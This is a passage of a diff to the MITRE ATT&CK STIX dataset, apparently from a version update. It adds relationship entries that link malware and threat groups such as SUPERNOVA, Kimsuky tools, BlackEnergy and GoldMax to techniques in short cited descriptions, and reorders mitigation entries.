27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021." + } + ], + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is a Web shell.(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: CISA Supernova Jan 2021)", + "relationship_type": "uses", + "id": "relationship--b847cd82-14c8-4270-b03d-2acf3abda4b6", + "type": "relationship", + "modified": "2021-04-21T15:05:48.924Z", + "created": "2021-04-21T15:05:48.924Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "CISA Supernova Jan 2021", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021." + } + ], + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) contained Base64-encoded strings.(Citation: CISA Supernova Jan 2021)", + "relationship_type": "uses", + "id": "relationship--c73f0de0-1fbb-44e6-ac51-95bf21ea4018", + "type": "relationship", + "modified": "2021-04-21T15:05:48.910Z", + "created": "2021-04-21T15:05:48.910Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from the Windows Credential Manager.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--d041fce9-6e05-4f74-a97e-c71f1b270fb8", + "type": "relationship", + "modified": "2021-04-22T13:40:21.174Z", + "created": "2021-04-22T13:40:21.174Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to remove values it writes to the Registry.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--547a5baa-6f40-4fba-801d-2099b5cb29b1", + "type": "relationship", + "modified": "2021-04-22T13:46:15.370Z", + "created": "2021-04-22T13:46:15.370Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--5a85a31a-f5dd-4058-87d3-bb0b6fcfffb3", + "type": "relationship", + "modified": "2021-04-22T13:50:46.735Z", + "created": "2021-04-22T13:50:46.735Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "external_references": [ + { + "source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015", + "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/", + "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021." + } + ], + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)", + "relationship_type": "uses", + "id": "relationship--118b2047-826a-4ab0-94b8-69d35a4c8592", + "type": "relationship", + "modified": "2021-04-22T15:09:14.852Z", + "created": "2021-04-22T15:09:14.852Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "relationship_type": "mitigates", + "description": "Restrict write access to the /Library/Security/SecurityAgentPlugins directory.", + "id": "relationship--a6aad172-c44b-4d21-9bf3-bb9c2dce2f67", + "type": "relationship", + "modified": "2021-04-26T20:08:32.578Z", + "created": "2021-04-22T21:09:35.789Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "relationship_type": "subtechnique-of", + "id": "relationship--bb6f2e41-2f67-49e7-ade1-490abeb9274a", + "type": "relationship", + "modified": "2021-04-23T01:04:57.259Z", + "created": "2021-04-23T01:04:57.258Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "external_references": [ + { + "source_name": "FireEye HIKIT Rootkit Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", + "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020." + } + ], + "description": "[Hikit](https://attack.mitre.org/software/S0009) has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.(Citation: FireEye HIKIT Rootkit Part 2)", + "relationship_type": "uses", + "id": "relationship--3c92afd0-50e1-42a7-97e0-6cec9b4f40cb", + "type": "relationship", + "modified": "2021-04-23T01:52:58.529Z", + "created": "2021-04-23T01:52:58.529Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "external_references": [ + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", + "description": "F-Secure Labs. (2014). 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Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014" + } + ], + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has enabled the TESTSIGNING boot configuration option to facilitate loading of a driver component.(Citation: F-Secure BlackEnergy 2014)", + "relationship_type": "uses", + "id": "relationship--2856e2ad-4fcd-483a-85bb-99fe8304ee8d", + "type": "relationship", + "modified": "2021-04-26T15:59:03.327Z", + "created": "2021-04-23T02:01:06.668Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "external_references": [ + { + "source_name": "Unit42 AcidBox June 2020", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." + }, + { + "source_name": "GitHub Turla Driver Loader", + "url": "https://github.com/hfiref0x/TDL", + "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). 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Retrieved April 22, 2021." + } + ], + "type": "relationship", + "modified": "2021-04-26T15:41:39.395Z", + "created": "2021-04-23T03:55:22.534Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "relationship_type": "mitigates", + "description": "Ensure proper permissions are set for the Registry to prevent users from modifying keys related to code signing policies.", + "id": "relationship--f32c486c-37f6-48c2-bdff-f9468d7b9601", + "type": "relationship", + "modified": "2021-04-26T15:41:39.412Z", + "created": "2021-04-23T03:55:22.538Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. 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PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021." + } + ], + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has executed a Lua script through a Lua interpreter for Windows.(Citation: Talos PoetRAT October 2020)", + "relationship_type": "uses", + "id": "relationship--e3c9ddee-8ace-4847-81ea-f7dfb8936d3b", + "type": "relationship", + "modified": "2021-04-24T21:20:31.474Z", + "created": "2021-04-24T21:20:31.474Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018" + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used various JavaScript-based backdoors.(Citation: ESET Turla Mosquito Jan 2018)\t", + "relationship_type": "uses", + "id": "relationship--0c4e4578-3bb1-4c9a-9dc8-af3b7368ada9", + "type": "relationship", + "modified": "2021-04-25T15:37:07.362Z", + "created": "2021-04-25T15:37:07.362Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) appeared as a scheduled task impersonating systems management software within the corresponding ProgramData subfolder.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--bf672181-ef16-4d3a-a587-9ac82ac87b8a", + "type": "relationship", + "modified": "2021-04-25T21:45:21.080Z", + "created": "2021-04-25T21:45:21.080Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has been packed for obfuscation.(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--0bb1573c-f30f-449c-931e-c5de024e96f8", + "type": "relationship", + "modified": "2021-04-25T21:45:21.073Z", + "created": "2021-04-25T21:45:21.073Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "external_references": [ + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "source_name": "ClearSky MuddyWater Nov 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018" + } + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: ClearSky MuddyWater Nov 2018)(Citation: FireEye MuddyWater Mar 2018)", + "relationship_type": "uses", + "id": "relationship--435c288d-1e10-4610-bf41-531390e5a650", + "type": "relationship", + "modified": "2021-04-25T23:26:10.590Z", + "created": "2021-04-25T23:26:10.590Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) can shutdown and reboot the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--66d53000-135b-448d-988a-3ff5d53b2c5b", + "type": "relationship", + "modified": "2021-04-26T13:29:32.712Z", + "created": "2021-04-26T13:29:32.712Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "relationship_type": "mitigates", + "description": "Limit the usage of local administrator and domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries.", + "id": "relationship--482ec859-f060-4131-a17f-5695587853e1", + "type": "relationship", + "modified": "2021-04-26T15:41:39.451Z", + "created": "2021-04-26T15:32:17.862Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014" + } + ], + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has removed the watermark associated with enabling the TESTSIGNING boot configuration option by removing the relevant strings in the user32.dll.mui of the system.(Citation: F-Secure BlackEnergy 2014)", + "relationship_type": "uses", + "id": "relationship--12c761e7-f026-4e14-80fb-da9f4cb0ca38", + "type": "relationship", + "modified": "2021-04-26T15:59:03.129Z", + "created": "2021-04-26T15:59:03.129Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + }, + { + "source_name": "reed thiefquest ransomware analysis", + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021." + } + ], + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uploads files via unencrypted HTTP. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "relationship_type": "uses", + "id": "relationship--30496669-0d01-4855-b566-6d5bfd9c97c1", + "type": "relationship", + "modified": "2021-04-26T20:02:14.115Z", + "created": "2021-04-26T20:02:14.115Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can upload files over the C2 channel.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--a1c31042-ca50-4bcc-bd05-20eb48c655ef", + "type": "relationship", + "modified": "2021-04-27T01:47:15.612Z", + "created": "2021-04-27T01:47:15.612Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to collect information from the local database.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "relationship_type": "uses", + "id": "relationship--33deb846-1334-4eb7-98fc-faff39b3ad16", + "type": "relationship", + "modified": "2021-04-27T01:47:15.641Z", + "created": "2021-04-27T01:47:15.641Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to call the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f5844", + "type": "relationship", + "modified": "2021-04-27T01:56:35.803Z", + "created": "2021-04-27T01:56:35.803Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": " [Explosive](https://attack.mitre.org/software/S0569) has collected the MAC address from the victim's machine.(Citation: CheckPoint Volatile Cedar March 2015) ", + "relationship_type": "uses", + "id": "relationship--00038d0e-7fc7-41c3-9055-edb4d87ea912", + "type": "relationship", + "modified": "2021-04-27T01:56:35.810Z", + "created": "2021-04-27T01:56:35.810Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has deleted batch files after execution. (Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--fc0b1fb2-f987-4d9c-8470-c40c517925d9", + "type": "relationship", + "modified": "2021-04-27T03:33:35.204Z", + "created": "2021-04-27T03:33:35.204Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c", + "type": "relationship", + "modified": "2021-04-27T15:46:45.720Z", + "created": "2021-04-27T15:46:45.720Z" + }, { "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -229305,11 +271082,12 @@ }, { "created": "2019-06-11T17:06:14.029Z", - "modified": "2020-03-31T13:08:45.966Z", + "modified": "2020-11-19T20:44:07.442Z", "type": "course-of-action", - "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", - "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", - "name": "Audit", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -229317,10 +271095,9 @@ "url": "https://attack.mitre.org/mitigations/M1047" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Audit", + "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", + "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "x_mitre_version": "1.1" }, { @@ -229914,9 +271691,13 @@ "x_mitre_version": "1.1" }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2020-01-17T16:45:23.319Z", + "type": "course-of-action", + "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Code Signing Mitigation", + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", "external_references": [ { "external_id": "T1116", @@ -229939,15 +271720,11 @@ "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" } ], - "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", - "name": "Code Signing Mitigation", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", - "type": "course-of-action", - "modified": "2020-01-17T16:45:23.319Z", - "created": "2018-10-17T00:14:20.652Z", - "x_mitre_version": "1.0", - "x_mitre_deprecated": true + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_deprecated": true, + "x_mitre_version": "1.0" }, { "object_marking_refs": [ @@ -231501,10 +273278,12 @@ "x_mitre_version": "1.0" }, { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "created": "2019-06-11T16:35:25.488Z", + "modified": "2020-06-20T20:11:42.195Z", + "type": "course-of-action", + "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "description": "Block execution of code on a system through application control, and/or script blocking.", + "name": "Execution Prevention", "external_references": [ { "source_name": "mitre-attack", @@ -231512,12 +273291,10 @@ "url": "https://attack.mitre.org/mitigations/M1038" } ], - "name": "Execution Prevention", - "description": "Block execution of code on a system through application control, and/or script blocking.", - "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", - "type": "course-of-action", - "modified": 